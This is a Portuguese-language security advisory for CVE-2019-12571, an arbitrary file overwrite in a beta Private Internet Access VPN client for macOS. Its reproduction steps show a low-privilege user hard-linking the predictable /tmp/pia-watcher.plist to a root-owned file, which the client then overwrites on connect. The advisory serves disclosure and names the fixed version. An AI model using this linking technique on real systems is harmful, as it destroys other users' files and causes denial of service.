ASA-2019-00378 – London Trust Media Private Internet Access: Sobrescrita de arquivo arbitrário


For the English version of this alert, click here.

Allele Security Alert

ASA-2019-00378

Identificador(es)

ASA-2019-00378, CVE-2019-12571

Título

Sobrescrita de arquivo arbitrário

Fabricante(s)

London Trust Media, Inc

Produto(s)

Private Internet Access (PIA) VPN Client para macOS

Versão(ões) afetada(s)

Private Internet Access (PIA) VPN Client para macOS versão v0.9.8 beta (build 02099)

Versão(ões) corrigida(s)

Private Internet Access (PIA) VPN Client para macOS versão v1.2.1

Prova de conceito

Sim

Descrição

Uma vulnerabilidade no Private Internet Access (PIA) VPN Client versão v0.9.8 beta (build 02099) para macOS poderia permitir que um atacante local autenticado sobrescrevesse arquivos arbitrários.

Detalhes técnicos

Quando o cliente inicia uma conexão, o arquivo XML /tmp/pia-watcher.plist é criado. Se o arquivo existir, ele será truncado e o conteúdo completamente sobrescrito. Este arquivo é removido na desconexão. Um usuário sem privilégios pode criar um hard ou soft link para arquivos arbitrários pertencentes a qualquer usuário no sistema, incluindo o root. Isso cria uma condição de negação de serviço e possível perda de dados se aproveitada por um usuário local mal-intencionado.

Passos para reproduzir

Todas as etapas são executadas como um usuário com poucos privilégios.

macbook:~ test2$ id
uid=508(test2) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),704(com.apple.sharepoint.group.4),100(_lpoperator),701(com.apple.sharepoint.group.1),333(piavpn),703(com.apple.sharepoint.group.3),702(com.apple.sharepoint.group.2)

Etapa 1 – Crie um arquivo de teste de propriedade root com permissões 600.

bash-3.2# echo "this is a test" > /etc/test.file
bash-3.2# chmod 600 /etc/test.file
bash-3.2# ls -ld /etc/test.file
-rw------- 1 root wheel 15 Dec 27 10:14 /etc/test.file

Etapa 2 – Mostre que o test2 não tem permissão para gravar em /etc/test.file.

macbook:~ test2$ echo test > /etc/test.file
-bash: /etc/test.file: Permission denied

Etapa 3 – Crie um hard ou soft link para um arquivo de propriedade de root.

macbook:~ test2$ ln /etc/test.file /tmp/pia-watcher.plist
macbook:~ test2$ ls -li /etc/test.file /tmp/pia-watcher.plist
12888119231 -rw------- 2 root wheel 15 Dec 27 10:14 /etc/test.file
12888119231 -rw------- 2 root wheel 15 Dec 27 10:14 /tmp/pia-watcher.plist

Passo 4 – Abra o cliente PIA e conecte-se. O arquivo será sobrescrito com o XML plist.

macbook:~ test2$ ls -li /etc/test.file /tmp/pia-watcher.plist
ls: /tmp/pia-watcher.plist: No such file or directory
12888119231 -rw------- 1 root wheel 801 Dec 27 10:17 /etc/test.file

Passo 5 – Como root exibir o conteúdo de /etc/secret.file

bash-3.2# cat /etc/test.file
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
    <dict>
        <key>Label</key>
        <string>com.privateinternetaccess.vpn.watcher</string>
        <key>ProgramArguments</key>
        <array>
            <string>/Applications/Private Internet Access.app/Contents/MacOS/pia-openvpn-helper</string>
        </array>
        <key>EnvironmentVariables</key>
        <dict>
            <key>script_type</key>
            <string>watch-notify</string>
        </dict>
        <key>StandardErrorPath</key>
        <string>/Library/Application Support/com.privateinternetaccess.vpn/watcher.log</string>
        <key>WatchPaths</key>
        <array>
            <string>/Library/Preferences/SystemConfiguration</string>
        </array>
    </dict>
</plist>

Créditos

Rich Mirch

Referência(s)

PIA Beta macOS Arbitrary File Overwrite
https://github.com/mirchr/security-research/blob/master/vulnerabilities/PIA/CVE-2019-12571.txt

CVE-2019-12571
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12571

CVE-2019-12571
https://nvd.nist.gov/vuln/detail/CVE-2019-12571

Se encontrou algum erro neste alerta ou deseja uma análise compreensiva, entre em contato.

Última modificação: 5 agosto 2019

Não somos responsáveis por qualquer perda de dados, corrupção de dispositivos ou qualquer outro tipo de problema devido ao uso de qualquer informação mencionada em nossos alertas de segurança.